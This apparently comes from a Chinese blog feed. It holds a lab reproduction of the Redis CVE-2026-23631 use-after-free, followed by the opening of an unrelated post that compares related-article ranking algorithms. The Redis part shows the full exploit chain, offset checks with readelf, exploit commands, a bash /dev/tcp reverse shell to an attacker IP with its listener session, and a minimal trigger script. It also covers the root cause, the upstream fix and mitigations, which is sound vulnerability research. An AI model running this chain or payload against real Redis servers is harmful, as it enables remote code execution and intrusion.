[*] loaded: local t=os.clock() while os.clock()-t&amp;lt;10 do end return 1
[*] pipeline: [True, True, 1]
[*] elapsed 9.99s
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;1:S 08 Nov 2026 00:21:07.794 * Full resync from master: 0000000000000000000000000000000000000000:1
1:S 08 Nov 2026 00:21:11.807 * MASTER &amp;lt;-&amp;gt; REPLICA sync: Finished with success
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;8.6.2 处理同步用 48 毫秒，8.6.6 延后到脚本结束。差别来自补丁增加的一行判断。这 48 毫秒内释放了什么，下一节用断点说明。&lt;/p&gt;
&lt;h3&gt;漏洞利用&lt;/h3&gt;
&lt;h4&gt;来源与可利用的窗口&lt;/h4&gt;
&lt;p&gt;触发脚本由本文编写，假主节点复用了公开仓库中的协议实现。RESP 是 Redis 的通信协议，主从同步的握手也以它编码。取得命令执行的链条是公开成果：DarkReplica，由 Yoni Sherez 在 ZeroDay.Cloud 2025 比赛上提交。本文完成的工作是核对偏移、确认其在 8.6.2 上可用，并将 payload 换成写文件与反弹 shell。payload 指发给目标执行的那条命令字符串。&lt;/p&gt;
&lt;p&gt;RDB 是 Redis 的持久化文件格式，按记录存放键值、过期时间与函数库。副本加载 RDB 时，遇到函数库记录会立刻把其中的 Lua 代码注册进去，这一步不需要额外命令。&lt;/p&gt;
&lt;p&gt;可利用的部分不在崩溃本身。全量同步期间，RDB 中的 RDB_OPCODE_FUNCTION2 记录会被立即执行，其中的 Lua 代码由攻击者提供。代码运行时，堆上仍保留刚被释放的 lua_State，以及同一批归还的缓冲区。&lt;/p&gt;
&lt;h4&gt;链条的四段&lt;/h4&gt;
&lt;p&gt;第一段在脚本引擎中准备后续所需的对象。&lt;code&gt;tostring()&lt;/code&gt; 对非字符串值返回指针，可用于泄漏对象地址；把一个同尺寸对象释放后再分配成字符串，即可将内容写入已知地址；伪造的 Table、栈与 lua_State 也在此按尺寸布置。脚本引擎是独立实例，不受这次释放影响。&lt;/p&gt;
&lt;p&gt;第二段把这些地址写入 RDB 的 FUNCTION2 记录，随全量同步送入目标。RDB 中的 Lua 代码在加载时执行，通过字符串分配做堆喷：连续申请大量同尺寸对象，让刚被释放的位置大概率被其中一块覆盖，从而把 lua_State 与字节码缓冲区换成构造好的内容。&lt;/p&gt;
&lt;p&gt;第三段等待被释放的函数继续执行。它读取的是伪造的栈，第一条指令为 CALL，控制权转交给一个干净的协程，伪造的 Table 作为参数传入。协程是 Lua 中可以暂停与恢复的执行单元，每个协程有自己的 lua_State，因此这一步等于把后续执行搬回一个没有被释放的环境。此后 Lua 代码运行在完好环境中，两个假 Table 即可构成任意地址读写。&lt;/p&gt;
&lt;p&gt;第四段把读写转成执行。读取 &lt;code&gt;os.clock&lt;/code&gt; 在 redis-server 中的地址得到基址，再从 &lt;code&gt;umask@got.plt&lt;/code&gt; 读出 libc 的 umask，减去偏移得到 libc 基址，加上 system 的偏移。新建协程，把 &lt;code&gt;l_G-&amp;gt;frealloc&lt;/code&gt; 改为 system，&lt;code&gt;l_G-&amp;gt;ud&lt;/code&gt; 指向命令字符串，下一次分配即调用 system。&lt;/p&gt;
&lt;h4&gt;偏移核对&lt;/h4&gt;
&lt;p&gt;redis-server 以 PIE 方式编译，每次启动的加载地址随机，符号在文件内的偏移固定，运行时地址等于基址加上偏移。umask@got.plt 是动态链接的重定位表项，里面存着 libc 中 umask 的运行时地址，读它等于泄漏一个 libc 地址。&lt;/p&gt;
&lt;p&gt;公开仓库给出的偏移按官方镜像计算，本地仍需核对。取来容器中的两个 ELF，用 readelf 检查。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo docker cp rds23631:/usr/local/bin/redis-server /tmp/redis-server
└─$ sudo docker cp rds23631:/lib/x86_64-linux-gnu/libc.so.6 /tmp/libc.so.6
└─$ readelf -s /tmp/redis-server | grep -P &quot;\sos_clock(?:\s@|$)&quot;
  1817: 00000000002b7a70    41 FUNC    LOCAL  DEFAULT   14 os_clock
└─$ readelf -r /tmp/redis-server | grep -P &quot;\sumask(?:\s@|$)&quot;
00000040f7a0  00ff00000007 R_X86_64_JUMP_SLO 0000000000000000 umask@GLIBC_2.2.5 + 0
└─$ readelf -s /tmp/libc.so.6 | grep -P &quot;\s(system|umask)@@&quot;
  1053: 0000000000053110    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5
  1577: 0000000000104820     8 FUNC    WEAK   DEFAULT   15 umask@@GLIBC_2.2.5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;四个数值与仓库中 docker_8.6.2.json5 的记录一致：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redis-server  os_clock       0x2b7a70
redis-server  umask@got.plt  0x40f7a0
libc          umask          0x104820
libc          system         0x53110
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;命令执行&lt;/h4&gt;
&lt;p&gt;先确认命令能否执行，payload 写入一个文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ cd /tmp/DarkReplica-master
└─$ /tmp/drvenv/bin/python -m dark_replica --host 192.168.31.148 --port 6379 \
    --master-host 0.0.0.0 --master-port 8474 --master-external-host 192.168.31.152 \
    --offsets offsets/docker_8.6.2.json5 &quot;id &amp;gt; /tmp/pwned23631&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一阶段打印的分配地址有十几行，此处只保留结尾。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Sent RDB (2013 bytes)
[19:24:41] INFO     [dark_replica] The server exited (as expected) / crashed
The command might have been executed!
Done
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo cat /tmp/pwned23631
uid=999(redis) gid=999(redis) groups=999(redis)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命令以 redis 用户身份运行。将 payload 换成 &lt;code&gt;timeout 25 bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.31.152/4444 0&amp;gt;&amp;amp;1&apos;&lt;/code&gt; 后，监听端收到连接。回连地址为实验网段内攻击机地址，端口 4444 仅用于本次实验，取到结果即关闭监听。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nc -l -p 4444 -v
listening on [any] 4444 ...
192.168.31.148: inverse host lookup failed: Unknown host
connect to [192.168.31.152] from (UNKNOWN) [192.168.31.148] 59302
bash: cannot set terminal process group (32): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
redis@ec40779cc79b:/data$ id
uid=999(redis) gid=999(redis) groups=999(redis)
redis@ec40779cc79b:/data$ hostname; head -2 /etc/os-release
ec40779cc79b
PRETTY_NAME=&quot;Debian GNU/Linux 13 (trixie)&quot;
NAME=&quot;Debian GNU/Linux&quot;
redis@ec40779cc79b:/data$ ls /data | head -3
dump.rdb
redis@ec40779cc79b:/data$ exit
exit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;靶机 /tmp 下留有两个文件，一个是 id 的输出，一个是 shell 的重定向结果，随容器一并删除。靶机上未安装任何工具，脚本均通过已建立的连接送入。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;h3&gt;两个引擎与超时钩子&lt;/h3&gt;
&lt;p&gt;Redis 是内存数据库，客户端通过 TCP 连接发送命令。它内置 Lua 解释器，允许把脚本放到服务端执行，脚本执行期间不会被其他命令打断。lua_State 是 Lua 为一份运行环境维护的结构，保存栈、调用栈与全局状态指针，脚本的每一次读写都经过它。&lt;/p&gt;
&lt;p&gt;Redis 有两个 Lua 引擎。脚本引擎供 EVAL 与 EVALSHA 使用，脚本执行完毕即释放。函数引擎供 FUNCTION LOAD 与 FCALL 使用，函数会写入 RDB，随复制传播。两个引擎各有自己的 lua_State 与分配器上下文，这次被释放的是函数引擎。&lt;/p&gt;
&lt;p&gt;Redis 为单线程，一个死循环脚本会阻塞服务器。为了仍能响应 &lt;code&gt;FUNCTION KILL&lt;/code&gt;，执行脚本前会安装一个计数钩子。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;lua_sethook(lua, luaMaskCountHook, LUA_MASKCOUNT, 100000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每 10 万条字节码触发一次。钩子检查脚本是否超时，默认阈值为 5000 毫秒；超时后不直接中断，而是调用 processEventsWhileBlocked 运行一轮事件循环，使服务器仍能处理其他连接。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int scriptInterrupt(scriptRunCtx *run_ctx) {
    if (run_ctx-&amp;gt;flags &amp;amp; SCRIPT_TIMEDOUT) {
        processEventsWhileBlocked();
        return (run_ctx-&amp;gt;flags &amp;amp; SCRIPT_KILLED) ? SCRIPT_KILL : SCRIPT_CONTINUE;
    }
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一事件循环不区分连接来源。普通客户端的请求会被处理，主节点发来的复制流同样如此。全量同步进入时没有检查当前是否有脚本在执行：加载 RDB 之前需要清空数据，清空会调用 functionsLibCtxClearCurrent。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void functionsLibCtxClearCurrent(int async) {
    if (async) {
        functionsLibCtx *old_l_ctx = curr_functions_lib_ctx;
        dict *old_engines = engines;
        freeFunctionsAsync(old_l_ctx, old_engines);
    } else {
        functionsLibCtxFree(curr_functions_lib_ctx);
        dictRelease(engines);
    }
    functionsInit();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;dictRelease 释放引擎字典，析构回调 engineDispose 调用 luaEngineFreeCtx，最后由 lua_close 关闭 lua_State。正常情况下这一步不会涉及正在使用的状态，而这一次涉及的正是执行脚本的那一个。&lt;/p&gt;
&lt;p&gt;释放完成后流程原路返回：emptyData 返回，RDB 继续加载，readSyncBulkPayload 返回，事件循环返回，钩子返回，脚本继续执行。此后每一条字节码都作用在已释放的内存上。&lt;/p&gt;
&lt;h3&gt;释放发生在哪一行&lt;/h3&gt;
&lt;p&gt;gdb 是 Linux 上的调试器，attach 到运行中的进程后可以下断点，程序执行到断点即暂停，此时能打印调用栈。x86-64 下函数调用的第一个参数放在 rdi 寄存器，因此没有调试信息时从 rdi 取值。&lt;/p&gt;
&lt;p&gt;要证明释放确实发生，把断点打在 lua_close 上。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set pagination off
file /tmp/redis-server
attach 6456
break lua_close
commands
silent
printf &quot;\n[BKPT-lua_close] lua_State=%p\n&quot;, $rdi
bt 22
continue
end
continue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;jemalloc 是 Redis 默认的内存分配器，释放的块会被缓存，下一次申请同尺寸时优先复用，因此同一地址会反复出现。&lt;/p&gt;
&lt;p&gt;同一次运行中断了两次，地址相同，均为 0x7f371e456000。第一次来自事务开始前的 FUNCTION FLUSH，属于正常清理：清理完成后立即重建引擎，jemalloc 把同一块内存再次分配给新的 lua_State。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[BKPT-lua_close] lua_State=0x7f371e456000
#0  0x00005632ccda0cf0 in lua_close ()
#1  0x00005632ccd4fd8e in luaEngineFreeCtx (engine_ctx=0x7f371ec59478) at /usr/src/redis/src/function_lua.c:203
#2  0x00005632ccd55997 in engineDispose (d=&amp;lt;optimized out&amp;gt;, obj=0x7f371ec6b260) at /usr/src/redis/src/functions.c:162
#3  0x00005632ccd854cf in _dictClear.constprop.1.isra.0 (d=d@entry=0x7f371ec0a178, callback=callback@entry=0x0, htidx=0) at /usr/src/redis/src/dict.c:722
#4  0x00005632ccb8cd7e in dictRelease (d=0x7f371ec0a178) at /usr/src/redis/src/dict.c:750
#5  0x00005632ccd58221 in functionsLibCtxClearCurrent (async=&amp;lt;optimized out&amp;gt;) at /usr/src/redis/src/functions.c:190
#6  0x00005632ccd5993d in functionFlushCommand (c=0x7f371ed88c00) at /usr/src/redis/src/functions.c:827
#7  0x00005632ccbaf5df in call (c=c@entry=0x7f371ed88c00, flags=flags@entry=3) at /usr/src/redis/src/server.c:3896
#8  0x00005632ccbb261d in processCommand (c=0x7f371ed88c00) at /usr/src/redis/src/server.c:4673
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二次的调用链完全不同，从钩子进入事件循环，再从同步流进入 RDB 加载。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[BKPT-lua_close] lua_State=0x7f371e456000
#0  0x00005632ccda0cf0 in lua_close ()
#1  0x00005632ccd4fd8e in luaEngineFreeCtx (engine_ctx=0x7f371ec59478) at /usr/src/redis/src/function_lua.c:203
#2  0x00005632ccd55997 in engineDispose (d=&amp;lt;optimized out&amp;gt;, obj=0x7f371ec6b278) at /usr/src/redis/src/functions.c:162
#3  0x00005632ccd854cf in _dictClear.constprop.1.isra.0 (d=d@entry=0x7f371ec0a178, callback=callback@entry=0x0, htidx=0) at /usr/src/redis/src/dict.c:722
#4  0x00005632ccb8cd7e in dictRelease (d=0x7f371ec0a178) at /usr/src/redis/src/dict.c:750
#5  0x00005632ccd58221 in functionsLibCtxClearCurrent (async=&amp;lt;optimized out&amp;gt;) at /usr/src/redis/src/functions.c:190
#6  0x00005632ccd802f1 in emptyData.constprop.0 (flags=&amp;lt;optimized out&amp;gt;, callback=&amp;lt;optimized out&amp;gt;, dbnum=-1) at /usr/src/redis/src/db.c:1054
#7  0x00005632ccc1bf99 in rdbLoadWithEmptyFunc (filename=&amp;lt;optimized out&amp;gt;, rsi=&amp;lt;optimized out&amp;gt;, rdbflags=2, emptyDbFunc=0x5632ccbfc570 &amp;lt;rdbLoadEmptyDbFunc&amp;gt;) at /usr/src/redis/src/rdb.c:4105
#8  0x00005632ccc0271c in readSyncBulkPayload (conn=0x7f371ec2fb50) at /usr/src/redis/src/replication.c:2579
#9  0x00005632ccd424fa in callHandler (conn=0x7f371ec2fb50, handler=&amp;lt;optimized out&amp;gt;) at /usr/src/redis/src/connhelpers.h:59
#10 0x00005632ccb8e042 in aeProcessEvents (flags=&amp;lt;optimized out&amp;gt;, eventLoop=0x7f371ec33070) at /usr/src/redis/src/ae.c:435
#11 0x00005632ccbe512f in aeProcessEvents (flags=29, eventLoop=&amp;lt;optimized out&amp;gt;) at /usr/src/redis/src/ae.c:360
#12 processEventsWhileBlocked () at /usr/src/redis/src/networking.c:5444
#13 0x00005632ccd540ed in scriptInterrupt (run_ctx=0x7ffedae9be60) at /usr/src/redis/src/script.c:145
#14 0x00005632ccd54205 in luaMaskCountHook (lua=0x7f371e456000, ar=&amp;lt;optimized out&amp;gt;) at /usr/src/redis/src/script_lua.c:1601
#15 0x00005632ccd9a145 in luaD_callhook ()
#16 0x00005632ccda4a69 in luaV_execute ()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第 14 帧的钩子参数为 0x7f371e456000，第 1 帧释放的 lua_State 也是这个地址。钩子就在这个状态上运行，它调用的 processEventsWhileBlocked 处理了主节点发来的 RDB，RDB 加载前的 emptyData 将其释放。钩子返回后，脚本仍在执行，栈指针、字节码与常量表都指向已被回收的内存。&lt;/p&gt;
&lt;p&gt;进程最终退出码为 1，日志中没有崩溃报告。另一次运行的 gdb 显示了原因：脚本抛出 Lua 错误，错误处理需要跳转 errorJmp，而 lua_State 已被释放，跳转目标不可用，最终走到 exit(1)。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[BKPT-exit] status=1
#0  0x00007f49bf696360 in exit () from target:/lib/x86_64-linux-gnu/libc.so.6
#1  0x000055b4773dec51 in luaD_throw ()
#2  0x000055b4773de8cb in luaG_runerror ()
#3  0x000055b4773deab5 in luaG_ordererror ()
#4  0x000055b4773e95fd in luaV_execute ()
#5  0x000055b4773dfb15 in luaD_call ()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;全量同步只能由攻击者控制的主节点发起，这也是利用前提中写明副本与只读的原因：只有副本会接受主节点的复制流，只有关闭 replica-read-only 才能在副本上执行 FCALL。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;p&gt;上游的修复在 readSyncBulkPayload 入口增加了一行判断。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void readSyncBulkPayload(connection *conn) {
    /* During full sync, the functions engine is freed right before loading
     * the RDB. To avoid this happening while a function is still running,
     * delay full sync processing until it finishes. */
    if (isInsideYieldingLongCommand()) return;

    char buf[PROTO_IOBUF_LEN];
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当处于可让出的事件处理中时（典型情形是超时脚本的钩子），这一轮不处理同步数据，等脚本结束、下一轮事件循环再处理。数据保留在连接缓冲区中，不会丢失。漏洞验证中的对照印证了这一点：8.6.6 上同步在脚本结束之后才完成。&lt;/p&gt;
&lt;p&gt;无法升级时有三条缓解措施，都属于缩小攻击面，而非修复内存问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;关闭 Lua 执行能力。用 ACL 或 rename-command 去掉 EVAL、EVALSHA、FCALL、FCALL_RO，函数引擎没有入口，这个漏洞也就无从触发。&lt;/li&gt;
&lt;li&gt;副本强制只读。replica-read-only 保持 yes，并且不要在 ACL 里给 CONFIG SET 权限，否则攻击者可以自己关掉。&lt;/li&gt;
&lt;li&gt;不要给不可信来源配置副本。SLAVEOF 与 REPLICAOF 本身就是高危命令，能被普通用户调用等于把复制流交给对方。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Redis 默认不设口令、依靠网络隔离的做法在这个漏洞上代价很高：整条链的起点只是一次未授权的 CONFIG SET。&lt;/p&gt;
&lt;h2&gt;附录：最小触发脚本&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;CVE-2026-23631: timed-out Lua function + fullsync while it runs.&quot;&quot;&quot;
import sys, threading, time
import redis
from dark_replica.master_server import Server

TARGET, PORT, LPORT, LHOST = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]), sys.argv[4]
BODY = sys.argv[5]

# 最小合法 RDB：头部 + EOF + 全零校验和
EMPTY_RDB = b&quot;REDIS0012&quot; + b&quot;\xff&quot; + (0).to_bytes(8, &quot;little&quot;)

srv = Server(&quot;0.0.0.0&quot;, LPORT, rdb_payload=EMPTY_RDB)
threading.Thread(target=srv.run, daemon=True).start()
time.sleep(0.5)

r = redis.Redis(host=TARGET, port=PORT, socket_timeout=60)
print(&quot;[*] ping:&quot;, r.ping(), flush=True)
r.function_flush(mode=&quot;SYNC&quot;)
code = &apos;#!lua name=hoax\nredis.register_function(&quot;scam&quot;, function() &apos; + BODY + &apos; end)&apos;
r.function_load(code=code, replace=True)
print(&quot;[*] loaded:&quot;, BODY, flush=True)

p = r.pipeline(transaction=True)
p.slaveof(LHOST, LPORT)
p.config_set(&quot;slave-read-only&quot;, &quot;no&quot;)
p.fcall(&quot;scam&quot;, 0)
t0 = time.time()
try:
    print(&quot;[*] pipeline:&quot;, p.execute(False), flush=True)
except Exception as e:
    print(&quot;[*] raised after %.2fs: %r&quot; % (time.time() - t0, e), flush=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;假主节点部分复用了公开仓库中的 RESP 服务实现，运行前需把仓库目录加入 PYTHONPATH。&lt;/p&gt;
&lt;p&gt;三条命令必须在同一事务中下发。分开下发时，FCALL 一旦开始阻塞，排在后面的 SLAVEOF 与 CONFIG SET 会收到 BUSY，实测将 SLAVEOF 单独重发时返回的是 &lt;code&gt;BUSY Redis is busy running a script. You can only call FUNCTION KILL or SHUTDOWN NOSAVE.&lt;/code&gt;。事务保证三条命令在脚本开始执行前全部入队。&lt;/p&gt;
&lt;p&gt;假主节点只负责握手与投递：回应 PING、回应 REPLCONF，收到 PSYNC 后返回 FULLRESYNC，然后按批量字符串格式发送 RDB。触发使用 18 字节的空 RDB 即可，需要 RDB 内容的是利用阶段。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Redis 官方安全公告：&lt;a href=&quot;https://redis.io/blog/security-advisory-cve202623479-cve202625243-cve-2026-25588-cve202625589-cve-2026-23631/&quot;&gt;CVE-2026-23479 等五项&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;修复提交：&lt;a href=&quot;https://github.com/redis/redis/commit/0cca172a174642bdae03b871615227896274d9bb&quot;&gt;0cca172 Fix use-after-free when fullsync happens while replica is running a timed out script&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;技术分析：&lt;a href=&quot;https://www.zeroday.cloud/blog/redis-cve-2026-23631-dark-replica&quot;&gt;DarkReplica (CVE-2026-23631): Redis Use-After-Free Leads to Post-Auth RCE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;公开利用代码：&lt;a href=&quot;https://github.com/yoyosh/DarkReplica&quot;&gt;yoyosh/DarkReplica&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Debian 跟踪页：&lt;a href=&quot;https://security-tracker.debian.org/tracker/CVE-2026-23631&quot;&gt;CVE-2026-23631&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;OpenCloudOS 修复公告：&lt;a href=&quot;https://gitee.com/opencloudos-stream/redis/issues/IK4BOF&quot;&gt;CVE-2026-23631&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>给相关文章列表定一套打分标准：31 篇文章上的六种算法对比</title><link>https://blog.mal-suen.cn/posts/2026/11/%E7%9B%B8%E5%85%B3%E6%96%87%E7%AB%A0%E7%9B%B8%E5%85%B3%E6%80%A7%E6%89%93%E5%88%86%E6%A0%87%E5%87%86%E4%B8%8E%E5%85%AD%E7%A7%8D%E7%AE%97%E6%B3%95%E5%AF%B9%E6%AF%94/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2026/11/%E7%9B%B8%E5%85%B3%E6%96%87%E7%AB%A0%E7%9B%B8%E5%85%B3%E6%80%A7%E6%89%93%E5%88%86%E6%A0%87%E5%87%86%E4%B8%8E%E5%85%AD%E7%A7%8D%E7%AE%97%E6%B3%95%E5%AF%B9%E6%AF%94/</guid><description>博客底部的相关文章由标签重合数改成正文相似度后，效果一直没人验证过。这篇用一个四级关联度标准标注了 169 个文章对，比较了标签、TF-IDF、字符二元组、BM25、LSA 与混合打分六种做法，给出 nDCG@4 与无关项比例，并定下最终的权重与阈值。</description><pubDate>Sat, 07 Nov 2026 04:30:00 GMT</pubDate><content:encoded>&lt;p&gt;翻自己博客的时候发现两件事。React2Shell 那篇拉到底，相关文章一栏是空的；Tomcat AJP 那篇下面挂着两篇 PostgreSQL 堆溢出，除了都带 CVE 标签，它们没什么共同点。&lt;/p&gt;
&lt;p&gt;上一版是按标签重合数排序的。CVE 这个词出现在 20 篇文章里，RCE 出现在 14 篇里，命中这两个词，任何两篇漏洞复现都能凑成一对。&lt;/p&gt;
&lt;p&gt;后来改成正文分词加 TF-IDF，肉眼看着好了一些，但好多少说不清。加一篇新文章会不会又乱，也没有答案。于是标了一批数据，把几种算法放在同一个标准下比了一遍。&lt;/p&gt;
&lt;h2&gt;标准：四级关联&lt;/h2&gt;
&lt;p&gt;评估的第一件事是定义什么叫相关。博客没有点击日志，也没有用户行为数据，只能人工标注。&lt;/p&gt;
&lt;p&gt;四级评分：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分值&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;th&gt;例子&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;同一产品，或同一技术栈加同一漏洞类型&lt;/td&gt;
&lt;td&gt;Spring4Shell 与 Spring Cloud Gateway SpEL 注入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;同一大类，技术栈或漏洞类型有一项不同&lt;/td&gt;
&lt;td&gt;Log4j2 与 React2Shell，都是 RCE，一个 Java 一个 Node&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;只有方向或工具层面的交集&lt;/td&gt;
&lt;td&gt;Tomcat 文件包含与 OverlayFS 提权，都是漏洞复现&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;领域不同&lt;/td&gt;
&lt;td&gt;LDA 主题模型与 arp-scan 使用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;标注方法是先确定每篇文章的三个属性：研究对象（Tomcat、Log4j2、LDA 这类）、技术栈（Java、Node、PHP、系统层）、漏洞类型（RCE、提权、信息泄露、DoS）。两个属性相同给 3 分，相同一个给 2 分，只同属安全方向给 1 分，跨领域给 0 分。&lt;/p&gt;
&lt;p&gt;这个标准有个明显缺陷：三个属性恰好是标签编码的东西，所以它天然有利于标签算法。这点后面会再提。&lt;/p&gt;
&lt;h2&gt;候选池&lt;/h2&gt;
&lt;p&gt;31 篇文章两两组合有 465 对，全部标注不现实。做法是取五种算法各自 top-4 的并集，得到 169 对，覆盖了所有算法可能展示给读者的组合。剩下 296 对不会出现在任何算法结果里，也就不影响对比。&lt;/p&gt;
&lt;p&gt;标注分布：0 分 40 对，1 分 70 对，2 分 33 对，3 分 26 对。&lt;/p&gt;
&lt;h2&gt;预处理&lt;/h2&gt;
&lt;p&gt;中文不像英文有空格，先要分词。没有装 jieba 这类库，用的是 Node 内置的 Intl.Segmenter，它背后是 ICU 的词典分词。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; new Intl.Segmenter(&quot;zh-CN&quot;, { granularity: &quot;word&quot; }).segment(&quot;Log4j2 远程代码执行漏洞（CVE-2021-44228）复现&quot;)
Log4j2 | 远程 | 代码 | 执行 | 漏洞 | CVE | 2021 | 44228 | 复现
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;问题一眼就能看到：CVE 编号被拆成三段，Log4j2 之所以完整只是因为词典里有这个词。Spring4Shell、Next.js 这类词基本都会被拆碎。&lt;/p&gt;
&lt;p&gt;所以在分词前先用正则把技术标识符整词取出来，再从待分词文本里删掉，避免同一批字符被计两次。规则是 CVE 编号加 ASCII 标识符（长度不小于 2，允许点、下划线、连字符）。&lt;/p&gt;
&lt;p&gt;另一项清洗是去掉代码块、行内代码、图片、链接地址、HTML 标签和表格线。安全文章里代码占比很高，变量名和命令参数会把两篇不相干的文章拉近。&lt;/p&gt;
&lt;p&gt;最后过一遍停用词表，中文虚词（的、是、进行、使用、通过）和单字词全部丢弃。&lt;/p&gt;
&lt;h2&gt;六种算法&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;算法&lt;/th&gt;
&lt;th&gt;做法&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;tag&lt;/td&gt;
&lt;td&gt;标签集合的 Jaccard 系数，即交集除以并集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tfidf&lt;/td&gt;
&lt;td&gt;分词后用 TF-IDF 加权，算余弦相似度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tfidf_gram&lt;/td&gt;
&lt;td&gt;在 tfidf 基础上加入字符二元组（相邻两个字），权重各半&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bm25&lt;/td&gt;
&lt;td&gt;BM25，把词频做饱和处理并按文档长度归一化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lsa&lt;/td&gt;
&lt;td&gt;对 TF-IDF 矩阵做奇异值分解，取前 12 维做隐含语义&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hybrid&lt;/td&gt;
&lt;td&gt;0.65 乘 LSA 相似度加 0.35 乘标签 Jaccard&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;TF-IDF 的思路是：一个词在本文出现得越多、在其它文章出现得越少，它越能代表本文。BM25 是它的改进版，避免长文章因为词多而占便宜。LSA 把词袋压到低维空间，两个没共用任何词但语义相邻的文章也能算近。hybrid 是把内容相似度和标签重合度按权重加起来。&lt;/p&gt;
&lt;p&gt;评估指标选 nDCG@4。它衡量排序质量：把分高的排在前面得分高，把 3 分文章排在 4 分的位置会扣分。另外看三项：P@4 是前四名里关联度不低于 2 分的比例，无关率是前四名里 0 分的比例，空结果是没有可展示内容时的文章数。&lt;/p&gt;
&lt;h2&gt;结果&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;PS&amp;gt; node --experimental-strip-types scripts/seo-eval/eval2.mjs
[固定候选池 169 对上的排序质量]
算法         nDCG@4  P@4   无关率  空结果  组合数
tag          0.962   0.573 0.081   6/31   29/31
tfidf        0.945   0.532 0.113   4/31   31/31
tfidf_gram   0.937   0.565 0.113   6/31   31/31
bm25         0.934   0.589 0.129   2/31   31/31
lsa          0.907   0.548 0.153   0/31   31/31
hybrid       0.915   0.581 0.129   2/31   31/31
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;组合数是 31 篇文章中出现过多少种不同的 top-4 组合，越接近 31 说明推荐越分散。&lt;/p&gt;
&lt;p&gt;tag 的 nDCG 最高，无关率最低。这个结果不奇怪：标注用的三个属性和标签是同一套东西，标签法等于提前看过答案。但它在另外两项上暴露了问题——6 篇文章一个结果都没有，正好是 React2Shell 那种标签自成一派的文章。&lt;/p&gt;
